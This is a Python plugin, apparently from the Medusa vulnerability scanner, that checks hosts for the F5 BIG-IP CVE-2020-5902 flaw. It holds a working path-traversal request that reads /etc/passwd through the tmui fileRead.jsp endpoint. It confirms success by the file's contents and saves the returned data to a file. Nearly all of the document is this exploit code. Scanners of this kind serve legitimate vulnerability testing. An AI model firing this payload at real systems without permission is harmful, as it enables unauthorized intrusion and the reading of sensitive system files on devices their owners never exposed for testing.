#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Ascotbe'
from ClassCongregation import VulnerabilityDetails,UrlProcessing,ErrorLog,WriteFile,ErrorHandling,Proxies,Exploit,ExploitOutput
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2020-5902" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-7-6"  # 插件编辑时间
        self.info['disclosure'] = '2020-07-3'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "BIG_IPRemoteCodeExecutionVulnerability"  # 插件名称
        self.info['name'] ='BIG_IP远程代码执行漏洞' #漏洞名称
        self.info['affects'] = "BIG-IP"  # 漏洞组件
        self.info['desc_content'] = "未授权的远程攻击者通过向漏洞页面发送特制的请求包，可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能，包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响，不影响数据面板。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['version'] = "BIG-IP 15.x: 15.1.0/15.0.0\r\nBIG-IP 14.x: 14.1.0 ~ 14.1.2\r\nBIG-IP 13.x: 13.1.0 ~ 13.1.3\r\n\r\nBIG-IP 12.x: 12.1.0 ~ 12.1.5\r\n\r\nBIG-IP 11.x: 11.6.1 ~ 11.6.5"  # 这边填漏洞影响的版本
        self.info['suggest'] = "升级最新BIG-IP版本"  # 修复建议
        self.info['details'] = Medusa  # 结果



def medusa(Url:str,Headers:dict,proxies:str=None,**kwargs)->None:
    proxies = Proxies().result(proxies)
    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        payload = '/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
        payload_url = scheme + "://" + url + ":" + str(port) + payload

        Headers['Accept']='text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'

        resp = requests.get(payload_url, headers=Headers, proxies=proxies, timeout=6, verify=False)
        con=resp.text
        code=resp.status_code
        if code==200 and con.find("output")!=-1 and con.find("root:")!=-1 and con.find("bin:")!=-1:
            Medusa = "{} 存在BIG_IP远程代码执行漏洞(CVE-2020-5902)\r\n验证数据:\r\n使用POC:{}\r\n返回数据包:{}\r\n".format(
                url, payload_url, con)
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, url, **kwargs).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url), str(Medusa))  # 写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)  # 调用写入类传入URL和错误插件名